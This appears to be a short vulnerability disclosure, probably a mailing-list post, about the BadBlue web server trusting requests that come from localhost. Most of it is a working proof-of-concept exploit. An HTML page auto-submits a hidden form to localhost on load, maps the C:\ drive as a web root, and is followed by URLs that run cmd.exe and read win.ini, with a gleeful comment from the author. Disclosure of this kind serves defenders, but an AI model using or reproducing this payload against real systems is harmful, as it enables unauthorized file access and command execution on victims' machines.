BadBlue uses an address-based security mechanism to lock administrative code to outsiders, specifically verifying that the requesting system is the local user. An interesting security-sensitive scenario comes into play when a user uses their system for browsing. If the server system were used to visit this page: <HTML> <HEAD> <FORM ACTION=http://localhost/ext.dll METHOD=GET> <INPUT TYPE=hidden NAME=MfcISAPICommand VALUE=LoadPage> <INPUT TYPE=hidden NAME=page VALUE=dir.hts> <INPUT TYPE=hidden NAME=a0 VALUE=add> <INPUT TYPE=hidden NAME=a2 VALUE=hd> <INPUT TYPE=hidden NAME=a1 VALUE=C:\> </FORM> </HEAD> <BODY ONLOAD="document.forms(0).submit()" /> </HTML> Then an attack would be conducted that would add the "hd" virtual root and point it to C:\. This occurs because, even though the page content originated elsewhere, the request to submit the form originated from the client sitting on the BadBlue machine. http://localhost/hd/winnt/system32/cmd.exe?/c+echo+hello This will display "hello" to a console window if running BadBlue EE on WinNT after this exploit. http://localhost/hd/winnt/win.ini http://localhost/hd/windows/win.ini Have a look at your Win.ini from the web... :-D I love insecure web admin packages... "The reason the mainstream is thought of as a stream is because it is so shallow." - Author Unknown
